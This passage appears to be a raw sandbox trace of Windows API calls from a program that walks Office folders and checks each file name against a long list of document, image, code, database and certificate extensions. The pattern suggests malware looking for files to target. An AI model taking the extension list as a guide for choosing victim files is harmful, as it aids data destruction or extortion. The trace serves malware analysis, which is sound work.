lpString2=".XML") returned -1 [0049.514] lstrlenW (lpString=".c") returned 2 [0049.514] lstrcmpiW (lpString1=".c", lpString2="ML") returned -1 [0049.514] lstrlenW (lpString=".cdr") returned 4 [0049.514] lstrcmpiW (lpString1=".cdr", lpString2=".XML") returned -1 [0049.514] lstrlenW (lpString=".cer") returned 4 [0049.514] lstrcmpiW (lpString1=".cer", lpString2=".XML") returned -1 [0049.514] lstrlenW (lpString=".cf") returned 3 [0049.514] lstrcmpiW (lpString1=".cf", lpString2="XML") returned -1 [0049.514] lstrlenW (lpString=".cfc") returned 4 [0049.514] lstrcmpiW (lpString1=".cfc", lpString2=".XML") returned -1 [0049.514] lstrlenW (lpString=".cfm") returned 4 [0049.514] lstrcmpiW (lpString1=".cfm", lpString2=".XML") returned -1 [0049.514] lstrlenW (lpString=".cfml") returned 5 [0049.515] lstrcmpiW (lpString1=".cfml", lpString2="I.XML") returned -1 [0049.515] lstrlenW (lpString=".cfu") returned 4 [0049.515] lstrcmpiW (lpString1=".cfu", lpString2=".XML") returned -1 [0049.515] lstrlenW (lpString=".chm") returned 4 [0049.515] lstrcmpiW (lpString1=".chm", lpString2=".XML") returned -1 [0049.515] lstrlenW (lpString=".cin") returned 4 [0049.515] lstrcmpiW (lpString1=".cin", lpString2=".XML") returned -1 [0049.515] lstrlenW (lpString=".class") returned 6 [0049.515] lstrcmpiW (lpString1=".class", lpString2="UI.XML") returned -1 [0049.515] lstrlenW (lpString=".clx") returned 4 [0049.515] lstrcmpiW (lpString1=".clx", lpString2=".XML") returned -1 [0049.515] lstrlenW (lpString=".config") returned 7 [0049.515] lstrcmpiW (lpString1=".config", lpString2="MUI.XML") returned -1 [0049.515] lstrlenW (lpString=".cpp") returned 4 [0049.515] lstrcmpiW (lpString1=".cpp", lpString2=".XML") returned -1 [0049.515] lstrlenW (lpString=".cr2") returned 4 [0049.515] lstrcmpiW (lpString1=".cr2", lpString2=".XML") returned -1 [0049.515] lstrlenW (lpString=".crt") returned 4 [0049.515] lstrcmpiW (lpString1=".crt", lpString2=".XML") returned -1 [0049.515] lstrlenW (lpString=".crw") returned 4 [0049.515] lstrcmpiW (lpString1=".crw", lpString2=".XML") returned -1 [0049.515] lstrlenW (lpString=".cs") returned 3 [0049.515] lstrcmpiW (lpString1=".cs", lpString2="XML") returned -1 [0049.516] lstrlenW (lpString=".css") returned 4 [0049.516] lstrcmpiW (lpString1=".css", lpString2=".XML") returned -1 [0049.516] lstrlenW (lpString=".csv") returned 4 [0049.516] lstrcmpiW (lpString1=".csv", lpString2=".XML") returned -1 [0049.516] lstrlenW (lpString=".cub") returned 4 [0049.516] lstrcmpiW (lpString1=".cub", lpString2=".XML") returned -1 [0049.516] lstrlenW (lpString=".dae") returned 4 [0049.516] lstrcmpiW (lpString1=".dae", lpString2=".XML") returned -1 [0049.516] lstrlenW (lpString=".dat") returned 4 [0049.516] lstrcmpiW (lpString1=".dat", lpString2=".XML") returned -1 [0049.516] lstrlenW (lpString=".db") returned 3 [0049.516] lstrcmpiW (lpString1=".db", lpString2="XML") returned -1 [0049.516] lstrlenW (lpString=".dbf") returned 4 [0049.516] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.516] lstrlenW (lpString=".dbx") returned 4 [0049.516] lstrcmpiW (lpString1=".dbx", lpString2=".XML") returned -1 [0049.516] lstrlenW (lpString=".dc3") returned 4 [0049.516] lstrcmpiW (lpString1=".dc3", lpString2=".XML") returned -1 [0049.516] lstrlenW (lpString=".dcm") returned 4 [0049.516] lstrcmpiW (lpString1=".dcm", lpString2=".XML") returned -1 [0049.516] lstrlenW (lpString=".dcr") returned 4 [0049.516] lstrcmpiW (lpString1=".dcr", lpString2=".XML") returned -1 [0049.516] lstrlenW (lpString=".der") returned 4 [0049.517] lstrcmpiW (lpString1=".der", lpString2=".XML") returned -1 [0049.517] lstrlenW (lpString=".dib") returned 4 [0049.517] lstrcmpiW (lpString1=".dib", lpString2=".XML") returned -1 [0049.517] lstrlenW (lpString=".dic") returned 4 [0049.517] lstrcmpiW (lpString1=".dic", lpString2=".XML") returned -1 [0049.517] lstrlenW (lpString=".dif") returned 4 [0049.517] lstrcmpiW (lpString1=".dif", lpString2=".XML") returned -1 [0049.517] lstrlenW (lpString=".divx") returned 5 [0049.517] lstrcmpiW (lpString1=".divx", lpString2="I.XML") returned -1 [0049.517] lstrlenW (lpString=".djvu") returned 5 [0049.517] lstrcmpiW (lpString1=".djvu", lpString2="I.XML") returned -1 [0049.517] lstrlenW (lpString=".dng") returned 4 [0049.517] lstrcmpiW (lpString1=".dng", lpString2=".XML") returned -1 [0049.517] lstrlenW (lpString=".doc") returned 4 [0049.517] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.517] lstrlenW (lpString=".docm") returned 5 [0049.517] lstrcmpiW (lpString1=".docm", lpString2="I.XML") returned -1 [0049.517] lstrlenW (lpString=".docx") returned 5 [0049.517] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0049.517] lstrlenW (lpString=".dot") returned 4 [0049.517] lstrcmpiW (lpString1=".dot", lpString2=".XML") returned -1 [0049.517] lstrlenW (lpString=".dotm") returned 5 [0049.517] lstrcmpiW (lpString1=".dotm", lpString2="I.XML") returned -1 [0049.518] lstrlenW (lpString=".dotx") returned 5 [0049.518] lstrcmpiW (lpString1=".dotx", lpString2="I.XML") returned -1 [0049.518] lstrlenW (lpString=".dpx") returned 4 [0049.518] lstrcmpiW (lpString1=".dpx", lpString2=".XML") returned -1 [0049.518] lstrlenW (lpString=".dqy") returned 4 [0049.518] lstrcmpiW (lpString1=".dqy", lpString2=".XML") returned -1 [0049.518] lstrlenW (lpString=".dsn") returned 4 [0049.518] lstrcmpiW (lpString1=".dsn", lpString2=".XML") returned -1 [0049.518] lstrlenW (lpString=".dt") returned 3 [0049.518] lstrcmpiW (lpString1=".dt", lpString2="XML") returned -1 [0049.518] lstrlenW (lpString=".dtd") returned 4 [0049.518] lstrcmpiW (lpString1=".dtd", lpString2=".XML") returned -1 [0049.518] lstrlenW (lpString=".dwg") returned 4 [0049.518] lstrcmpiW (lpString1=".dwg", lpString2=".XML") returned -1 [0049.518] lstrlenW (lpString=".dwt") returned 4 [0049.518] lstrcmpiW (lpString1=".dwt", lpString2=".XML") returned -1 [0049.518] lstrlenW (lpString=".dx") returned 3 [0049.518] lstrcmpiW (lpString1=".dx", lpString2="XML") returned -1 [0049.518] lstrlenW (lpString=".dxf") returned 4 [0049.518] lstrcmpiW (lpString1=".dxf", lpString2=".XML") returned -1 [0049.518] lstrlenW (lpString=".edml") returned 5 [0049.518] lstrcmpiW (lpString1=".edml", lpString2="I.XML") returned -1 [0049.518] lstrlenW (lpString=".efd") returned 4 [0049.519] lstrcmpiW (lpString1=".efd", lpString2=".XML") returned -1 [0049.519] lstrlenW (lpString=".elf") returned 4 [0049.519] lstrcmpiW (lpString1=".elf", lpString2=".XML") returned -1 [0049.519] lstrlenW (lpString=".emf") returned 4 [0049.519] lstrcmpiW (lpString1=".emf", lpString2=".XML") returned -1 [0049.519] lstrlenW (lpString=".emz") returned 4 [0049.519] lstrcmpiW (lpString1=".emz", lpString2=".XML") returned -1 [0049.519] lstrlenW (lpString=".epf") returned 4 [0049.519] lstrcmpiW (lpString1=".epf", lpString2=".XML") returned -1 [0049.519] lstrlenW (lpString=".eps") returned 4 [0049.519] lstrcmpiW (lpString1=".eps", lpString2=".XML") returned -1 [0049.519] lstrlenW (lpString=".epsf") returned 5 [0049.519] lstrcmpiW (lpString1=".epsf", lpString2="I.XML") returned -1 [0049.519] lstrlenW (lpString=".epsp") returned 5 [0049.519] lstrcmpiW (lpString1=".epsp", lpString2="I.XML") returned -1 [0049.519] lstrlenW (lpString=".erf") returned 4 [0049.519] lstrcmpiW (lpString1=".erf", lpString2=".XML") returned -1 [0049.519] lstrlenW (lpString=".exr") returned 4 [0049.519] lstrcmpiW (lpString1=".exr", lpString2=".XML") returned -1 [0049.519] lstrlenW (lpString=".f4v") returned 4 [0049.519] lstrcmpiW (lpString1=".f4v", lpString2=".XML") returned -1 [0049.519] lstrlenW (lpString=".fido") returned 5 [0049.519] lstrcmpiW (lpString1=".fido", lpString2="I.XML") returned -1 [0049.519] lstrlenW (lpString=".flm") returned 4 [0049.520] lstrcmpiW (lpString1=".flm", lpString2=".XML") returned -1 [0049.520] lstrlenW (lpString=".flv") returned 4 [0049.520] lstrcmpiW (lpString1=".flv", lpString2=".XML") returned -1 [0049.520] lstrlenW (lpString=".frm") returned 4 [0049.520] lstrcmpiW (lpString1=".frm", lpString2=".XML") returned -1 [0049.520] lstrlenW (lpString=".fxg") returned 4 [0049.520] lstrcmpiW (lpString1=".fxg", lpString2=".XML") returned -1 [0049.520] lstrlenW (lpString=".geo") returned 4 [0049.520] lstrcmpiW (lpString1=".geo", lpString2=".XML") returned -1 [0049.520] lstrlenW (lpString=".gif") returned 4 [0049.520] lstrcmpiW (lpString1=".gif", lpString2=".XML") returned -1 [0049.520] lstrlenW (lpString=".grs") returned 4 [0049.520] lstrcmpiW (lpString1=".grs", lpString2=".XML") returned -1 [0049.520] lstrlenW (lpString=".gz") returned 3 [0049.520] lstrcmpiW (lpString1=".gz", lpString2="XML") returned -1 [0049.520] lstrlenW (lpString=".h") returned 2 [0049.520] lstrcmpiW (lpString1=".h", lpString2="ML") returned -1 [0049.520] lstrlenW (lpString=".hdr") returned 4 [0049.520] lstrcmpiW (lpString1=".hdr", lpString2=".XML") returned -1 [0049.520] lstrlenW (lpString=".hpp") returned 4 [0049.520] lstrcmpiW (lpString1=".hpp", lpString2=".XML") returned -1 [0049.520] lstrlenW (lpString=".hta") returned 4 [0049.520] lstrcmpiW (lpString1=".hta", lpString2=".XML") returned -1 [0049.520] lstrlenW (lpString=".htc") returned 4 [0049.521] lstrcmpiW (lpString1=".htc", lpString2=".XML") returned -1 [0049.521] lstrlenW (lpString=".htm") returned 4 [0049.521] lstrcmpiW (lpString1=".htm", lpString2=".XML") returned -1 [0049.521] lstrlenW (lpString=".html") returned 5 [0049.521] lstrcmpiW (lpString1=".html", lpString2="I.XML") returned -1 [0049.521] lstrlenW (lpString=".icb") returned 4 [0049.521] lstrcmpiW (lpString1=".icb", lpString2=".XML") returned -1 [0049.521] lstrlenW (lpString=".ics") returned 4 [0049.521] lstrcmpiW (lpString1=".ics", lpString2=".XML") returned -1 [0049.521] lstrlenW (lpString=".iff") returned 4 [0049.521] lstrcmpiW (lpString1=".iff", lpString2=".XML") returned -1 [0049.521] lstrlenW (lpString=".inc") returned 4 [0049.521] lstrcmpiW (lpString1=".inc", lpString2=".XML") returned -1 [0049.521] lstrlenW (lpString=".indd") returned 5 [0049.521] lstrcmpiW (lpString1=".indd", lpString2="I.XML") returned -1 [0049.521] lstrlenW (lpString=".ini") returned 4 [0049.521] lstrcmpiW (lpString1=".ini", lpString2=".XML") returned -1 [0049.521] lstrlenW (lpString=".iqy") returned 4 [0049.521] lstrcmpiW (lpString1=".iqy", lpString2=".XML") returned -1 [0049.521] lstrlenW (lpString=".j2c") returned 4 [0049.521] lstrcmpiW (lpString1=".j2c", lpString2=".XML") returned -1 [0049.521] lstrlenW (lpString=".j2k") returned 4 [0049.521] lstrcmpiW (lpString1=".j2k", lpString2=".XML") returned -1 [0049.521] lstrlenW (lpString=".java") returned 5 [0049.522] lstrcmpiW (lpString1=".java", lpString2="I.XML") returned -1 [0049.522] lstrlenW (lpString=".jp2") returned 4 [0049.522] lstrcmpiW (lpString1=".jp2", lpString2=".XML") returned -1 [0049.522] lstrlenW (lpString=".jpc") returned 4 [0049.522] lstrcmpiW (lpString1=".jpc", lpString2=".XML") returned -1 [0049.522] lstrlenW (lpString=".jpe") returned 4 [0049.522] lstrcmpiW (lpString1=".jpe", lpString2=".XML") returned -1 [0049.522] lstrlenW (lpString=".jpeg") returned 5 [0049.522] lstrcmpiW (lpString1=".jpeg", lpString2="I.XML") returned -1 [0049.522] lstrlenW (lpString=".jpf") returned 4 [0049.522] lstrcmpiW (lpString1=".jpf", lpString2=".XML") returned -1 [0049.522] lstrlenW (lpString=".jpg") returned 4 [0049.522] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.522] lstrlenW (lpString=".jpx") returned 4 [0049.522] lstrcmpiW (lpString1=".jpx", lpString2=".XML") returned -1 [0049.522] lstrlenW (lpString=".js") returned 3 [0049.522] lstrcmpiW (lpString1=".js", lpString2="XML") returned -1 [0049.522] lstrlenW (lpString=".jsf") returned 4 [0049.522] lstrcmpiW (lpString1=".jsf", lpString2=".XML") returned -1 [0049.522] lstrlenW (lpString=".json") returned 5 [0049.522] lstrcmpiW (lpString1=".json", lpString2="I.XML") returned -1 [0049.522] lstrlenW (lpString=".jsp") returned 4 [0049.522] lstrcmpiW (lpString1=".jsp", lpString2=".XML") returned -1 [0049.522] lstrlenW (lpString=".kdc") returned 4 [0049.523] lstrcmpiW (lpString1=".kdc", lpString2=".XML") returned -1 [0049.523] lstrlenW (lpString=".kmz") returned 4 [0049.523] lstrcmpiW (lpString1=".kmz", lpString2=".XML") returned -1 [0049.523] lstrlenW (lpString=".kwm") returned 4 [0049.523] lstrcmpiW (lpString1=".kwm", lpString2=".XML") returned -1 [0049.523] lstrlenW (lpString=".lasso") returned 6 [0049.523] lstrcmpiW (lpString1=".lasso", lpString2="UI.XML") returned -1 [0049.523] lstrlenW (lpString=".lbi") returned 4 [0049.523] lstrcmpiW (lpString1=".lbi", lpString2=".XML") returned -1 [0049.523] lstrlenW (lpString=".lgf") returned 4 [0049.523] lstrcmpiW (lpString1=".lgf", lpString2=".XML") returned -1 [0049.523] lstrlenW (lpString=".lgp") returned 4 [0049.523] lstrcmpiW (lpString1=".lgp", lpString2=".XML") returned -1 [0049.523] lstrlenW (lpString=".log") returned 4 [0049.523] lstrcmpiW (lpString1=".log", lpString2=".XML") returned -1 [0049.523] lstrlenW (lpString=".m1v") returned 4 [0049.523] lstrcmpiW (lpString1=".m1v", lpString2=".XML") returned -1 [0049.523] lstrlenW (lpString=".m4a") returned 4 [0049.523] lstrcmpiW (lpString1=".m4a", lpString2=".XML") returned -1 [0049.523] lstrlenW (lpString=".m4v") returned 4 [0049.523] lstrcmpiW (lpString1=".m4v", lpString2=".XML") returned -1 [0049.524] lstrlenW (lpString=".max") returned 4 [0049.524] lstrcmpiW (lpString1=".max", lpString2=".XML") returned -1 [0049.524] lstrlenW (lpString=".md") returned 3 [0049.524] lstrcmpiW (lpString1=".md", lpString2="XML") returned -1 [0049.524] lstrlenW (lpString=".mda") returned 4 [0049.524] lstrcmpiW (lpString1=".mda", lpString2=".XML") returned -1 [0049.524] lstrlenW (lpString=".mdb") returned 4 [0049.524] lstrcmpiW (lpString1=".mdb", lpString2=".XML") returned -1 [0049.524] lstrlenW (lpString=".mde") returned 4 [0049.524] lstrcmpiW (lpString1=".mde", lpString2=".XML") returned -1 [0049.524] lstrlenW (lpString=".mdf") returned 4 [0049.524] lstrcmpiW (lpString1=".mdf", lpString2=".XML") returned -1 [0049.524] lstrlenW (lpString=".mdw") returned 4 [0049.524] lstrcmpiW (lpString1=".mdw", lpString2=".XML") returned -1 [0049.524] lstrlenW (lpString=".mef") returned 4 [0049.524] lstrcmpiW (lpString1=".mef", lpString2=".XML") returned -1 [0049.524] lstrlenW (lpString=".mft") returned 4 [0049.524] lstrcmpiW (lpString1=".mft", lpString2=".XML") returned -1 [0049.524] lstrlenW (lpString=".mfw") returned 4 [0049.524] lstrcmpiW (lpString1=".mfw", lpString2=".XML") returned -1 [0049.524] lstrlenW (lpString=".mht") returned 4 [0049.524] lstrcmpiW (lpString1=".mht", lpString2=".XML") returned -1 [0049.525] lstrlenW (lpString=".mhtml") returned 6 [0049.525] lstrcmpiW (lpString1=".mhtml", lpString2="UI.XML") returned -1 [0049.525] lstrlenW (lpString=".mka") returned 4 [0049.525] lstrcmpiW (lpString1=".mka", lpString2=".XML") returned -1 [0049.525] lstrlenW (lpString=".mkidx") returned 6 [0049.525] lstrcmpiW (lpString1=".mkidx", lpString2="UI.XML") returned -1 [0049.525] lstrlenW (lpString=".mkv") returned 4 [0049.525] lstrcmpiW (lpString1=".mkv", lpString2=".XML") returned -1 [0049.525] lstrlenW (lpString=".mos") returned 4 [0049.525] lstrcmpiW (lpString1=".mos", lpString2=".XML") returned -1 [0049.525] lstrlenW (lpString=".mov") returned 4 [0049.525] lstrcmpiW (lpString1=".mov", lpString2=".XML") returned -1 [0049.525] lstrlenW (lpString=".mp3") returned 4 [0049.525] lstrcmpiW (lpString1=".mp3", lpString2=".XML") returned -1 [0049.525] lstrlenW (lpString=".mp4") returned 4 [0049.525] lstrcmpiW (lpString1=".mp4", lpString2=".XML") returned -1 [0049.525] lstrlenW (lpString=".mpeg") returned 5 [0049.525] lstrcmpiW (lpString1=".mpeg", lpString2="I.XML") returned -1 [0049.525] lstrlenW (lpString=".mpg") returned 4 [0049.525] lstrcmpiW (lpString1=".mpg", lpString2=".XML") returned -1 [0049.525] lstrlenW (lpString=".mpv") returned 4 [0049.525] lstrcmpiW (lpString1=".mpv", lpString2=".XML") returned -1 [0049.526] lstrlenW (lpString=".mrw") returned 4 [0049.526] lstrcmpiW (lpString1=".mrw", lpString2=".XML") returned -1 [0049.526] lstrlenW (lpString=".msg") returned 4 [0049.526] lstrcmpiW (lpString1=".msg", lpString2=".XML") returned -1 [0049.526] lstrlenW (lpString=".mxl") returned 4 [0049.526] lstrcmpiW (lpString1=".mxl", lpString2=".XML") returned -1 [0049.526] lstrlenW (lpString=".myd") returned 4 [0049.526] lstrcmpiW (lpString1=".myd", lpString2=".XML") returned -1 [0049.526] lstrlenW (lpString=".myi") returned 4 [0049.526] lstrcmpiW (lpString1=".myi", lpString2=".XML") returned -1 [0049.526] lstrlenW (lpString=".nef") returned 4 [0049.526] lstrcmpiW (lpString1=".nef", lpString2=".XML") returned -1 [0049.526] lstrlenW (lpString=".nrw") returned 4 [0049.526] lstrcmpiW (lpString1=".nrw", lpString2=".XML") returned -1 [0049.526] lstrlenW (lpString=".obj") returned 4 [0049.526] lstrcmpiW (lpString1=".obj", lpString2=".XML") returned -1 [0049.526] lstrlenW (lpString=".odb") returned 4 [0049.526] lstrcmpiW (lpString1=".odb", lpString2=".XML") returned -1 [0049.526] lstrlenW (lpString=".odc") returned 4 [0049.526] lstrcmpiW (lpString1=".odc", lpString2=".XML") returned -1 [0049.526] lstrlenW (lpString=".odm") returned 4 [0049.526] lstrcmpiW (lpString1=".odm", lpString2=".XML") returned -1 [0049.526] lstrlenW (lpString=".odp") returned 4 [0049.526] lstrcmpiW (lpString1=".odp", lpString2=".XML") returned -1 [0049.526] lstrlenW (lpString=".ods") returned 4 [0049.527] lstrcmpiW (lpString1=".ods", lpString2=".XML") returned -1 [0049.527] lstrlenW (lpString=".oft") returned 4 [0049.527] lstrcmpiW (lpString1=".oft", lpString2=".XML") returned -1 [0049.527] lstrlenW (lpString=".one") returned 4 [0049.527] lstrcmpiW (lpString1=".one", lpString2=".XML") returned -1 [0049.527] lstrlenW (lpString=".onepkg") returned 7 [0049.527] lstrcmpiW (lpString1=".onepkg", lpString2="MUI.XML") returned -1 [0049.527] lstrlenW (lpString=".onetoc2") returned 8 [0049.527] lstrcmpiW (lpString1=".onetoc2", lpString2="lMUI.XML") returned -1 [0049.527] lstrlenW (lpString=".opt") returned 4 [0049.527] lstrcmpiW (lpString1=".opt", lpString2=".XML") returned -1 [0049.527] lstrlenW (lpString=".oqy") returned 4 [0049.527] lstrcmpiW (lpString1=".oqy", lpString2=".XML") returned -1 [0049.527] lstrlenW (lpString=".orf") returned 4 [0049.527] lstrcmpiW (lpString1=".orf", lpString2=".XML") returned -1 [0049.527] lstrlenW (lpString=".p12") returned 4 [0049.527] lstrcmpiW (lpString1=".p12", lpString2=".XML") returned -1 [0049.527] lstrlenW (lpString=".p7b") returned 4 [0049.527] lstrcmpiW (lpString1=".p7b", lpString2=".XML") returned -1 [0049.527] lstrlenW (lpString=".p7c") returned 4 [0049.527] lstrcmpiW (lpString1=".p7c", lpString2=".XML") returned -1 [0049.527] lstrlenW (lpString=".pam") returned 4 [0049.528] lstrcmpiW (lpString1=".pam", lpString2=".XML") returned -1 [0049.528] lstrlenW (lpString=".pbm") returned 4 [0049.528] lstrcmpiW (lpString1=".pbm", lpString2=".XML") returned -1 [0049.528] lstrlenW (lpString=".pct") returned 4 [0049.528] lstrcmpiW (lpString1=".pct", lpString2=".XML") returned -1 [0049.528] lstrlenW (lpString=".pcx") returned 4 [0049.528] lstrcmpiW (lpString1=".pcx", lpString2=".XML") returned -1 [0049.528] lstrlenW (lpString=".pdd") returned 4 [0049.528] lstrcmpiW (lpString1=".pdd", lpString2=".XML") returned -1 [0049.528] lstrlenW (lpString=".pdf") returned 4 [0049.528] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.528] lstrlenW (lpString=".pdp") returned 4 [0049.528] lstrcmpiW (lpString1=".pdp", lpString2=".XML") returned -1 [0049.528] lstrlenW (lpString=".pef") returned 4 [0049.528] lstrcmpiW (lpString1=".pef", lpString2=".XML") returned -1 [0049.529] lstrlenW (lpString=".pem") returned 4 [0049.529] lstrcmpiW (lpString1=".pem", lpString2=".XML") returned -1 [0049.529] lstrlenW (lpString=".pff") returned 4 [0049.529] lstrcmpiW (lpString1=".pff", lpString2=".XML") returned -1 [0049.529] lstrlenW (lpString=".pfm") returned 4 [0049.529] lstrcmpiW (lpString1=".pfm", lpString2=".XML") returned -1 [0049.529] lstrlenW (lpString=".pfx") returned 4 [0049.529] lstrcmpiW (lpString1=".pfx", lpString2=".XML") returned -1 [0049.529] lstrlenW (lpString=".pgm") returned 4 [0049.529] lstrcmpiW (lpString1=".pgm", lpString2=".XML") returned -1 [0049.529] lstrlenW (lpString=".php") returned 4 [0049.529] lstrcmpiW (lpString1=".php", lpString2=".XML") returned -1 [0049.530] lstrlenW (lpString=".php3") returned 5 [0049.530] lstrcmpiW (lpString1=".php3", lpString2="I.XML") returned -1 [0049.530] lstrlenW (lpString=".php4") returned 5 [0049.530] lstrcmpiW (lpString1=".php4", lpString2="I.XML") returned -1 [0049.530] lstrlenW (lpString=".php5") returned 5 [0049.530] lstrcmpiW (lpString1=".php5", lpString2="I.XML") returned -1 [0049.530] lstrlenW (lpString=".phtml") returned 6 [0049.530] lstrcmpiW (lpString1=".phtml", lpString2="UI.XML") returned -1 [0049.530] lstrlenW (lpString=".pict") returned 5 [0049.530] lstrcmpiW (lpString1=".pict", lpString2="I.XML") returned -1 [0049.530] lstrlenW (lpString=".pl") returned 3 [0049.530] lstrcmpiW (lpString1=".pl", lpString2="XML") returned -1 [0049.530] lstrlenW (lpString=".pls") returned 4 [0049.530] lstrcmpiW (lpString1=".pls", lpString2=".XML") returned -1 [0049.530] lstrlenW (lpString=".pm") returned 3 [0049.530] lstrcmpiW (lpString1=".pm", lpString2="XML") returned -1 [0049.530] lstrlenW (lpString=".png") returned 4 [0049.531] lstrcmpiW (lpString1=".png", lpString2=".XML") returned -1 [0049.531] lstrlenW (lpString=".pnm") returned 4 [0049.531] lstrcmpiW (lpString1=".pnm", lpString2=".XML") returned -1 [0049.531] lstrlenW (lpString=".pot") returned 4 [0049.531] lstrcmpiW (lpString1=".pot", lpString2=".XML") returned -1 [0049.531] lstrlenW (lpString=".potm") returned 5 [0049.531] lstrcmpiW (lpString1=".potm", lpString2="I.XML") returned -1 [0049.531] lstrlenW (lpString=".potx") returned 5 [0049.531] lstrcmpiW (lpString1=".potx", lpString2="I.XML") returned -1 [0049.531] lstrlenW (lpString=".ppa") returned 4 [0049.531] lstrcmpiW (lpString1=".ppa", lpString2=".XML") returned -1 [0049.531] lstrlenW (lpString=".ppam") returned 5 [0049.531] lstrcmpiW (lpString1=".ppam", lpString2="I.XML") returned -1 [0049.531] lstrlenW (lpString=".ppm") returned 4 [0049.531] lstrcmpiW (lpString1=".ppm", lpString2=".XML") returned -1 [0049.531] lstrlenW (lpString=".pps") returned 4 [0049.531] lstrcmpiW (lpString1=".pps", lpString2=".XML") returned -1 [0049.531] lstrlenW (lpString=".ppsm") returned 5 [0049.531] lstrcmpiW (lpString1=".ppsm", lpString2="I.XML") returned -1 [0049.531] lstrlenW (lpString=".ppt") returned 4 [0049.532] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.532] lstrlenW (lpString=".pptm") returned 5 [0049.532] lstrcmpiW (lpString1=".pptm", lpString2="I.XML") returned -1 [0049.532] lstrlenW (lpString=".pptx") returned 5 [0049.532] lstrcmpiW (lpString1=".pptx", lpString2="I.XML") returned -1 [0049.532] lstrlenW (lpString=".prn") returned 4 [0049.532] lstrcmpiW (lpString1=".prn", lpString2=".XML") returned -1 [0049.532] lstrlenW (lpString=".ps") returned 3 [0049.532] lstrcmpiW (lpString1=".ps", lpString2="XML") returned -1 [0049.532] lstrlenW (lpString=".psb") returned 4 [0049.532] lstrcmpiW (lpString1=".psb", lpString2=".XML") returned -1 [0049.532] lstrlenW (lpString=".psd") returned 4 [0049.532] lstrcmpiW (lpString1=".psd", lpString2=".XML") returned -1 [0049.532] lstrlenW (lpString=".pst") returned 4 [0049.532] lstrcmpiW (lpString1=".pst", lpString2=".XML") returned -1 [0049.532] lstrlenW (lpString=".ptx") returned 4 [0049.532] lstrcmpiW (lpString1=".ptx", lpString2=".XML") returned -1 [0049.532] lstrlenW (lpString=".pub") returned 4 [0049.532] lstrcmpiW (lpString1=".pub", lpString2=".XML") returned -1 [0049.532] lstrlenW (lpString=".pwm") returned 4 [0049.533] lstrcmpiW (lpString1=".pwm", lpString2=".XML") returned -1 [0049.533] lstrlenW (lpString=".pxr") returned 4 [0049.533] lstrcmpiW (lpString1=".pxr", lpString2=".XML") returned -1 [0049.533] lstrlenW (lpString=".py") returned 3 [0049.533] lstrcmpiW (lpString1=".py", lpString2="XML") returned -1 [0049.533] lstrlenW (lpString=".qt") returned 3 [0049.533] lstrcmpiW (lpString1=".qt", lpString2="XML") returned -1 [0049.533] lstrlenW (lpString=".r3d") returned 4 [0049.533] lstrcmpiW (lpString1=".r3d", lpString2=".XML") returned -1 [0049.533] FindNextFileW (in: hFindFile=0x6b44a8, lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.533] FindNextFileW (in: hFindFile=0x6b44a8, lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.533] FindClose (in: hFindFile=0x6b44a8 | out: hFindFile=0x6b44a8) returned 1 [0049.534] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f85888 | out: hHeap=0x5c0000) returned 1 [0049.536] FindNextFileW (in: hFindFile=0x6b4428, lpFindFileData=0x2edf094 | out: lpFindFileData=0x2edf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0049.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3f85888 [0049.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us") returned 92 [0049.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b44a8 [0049.537] FindNextFileW (in: hFindFile=0x6b44a8, lpFindFileData=0x2edee18 | out: lpFindFileData=0x2edee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, 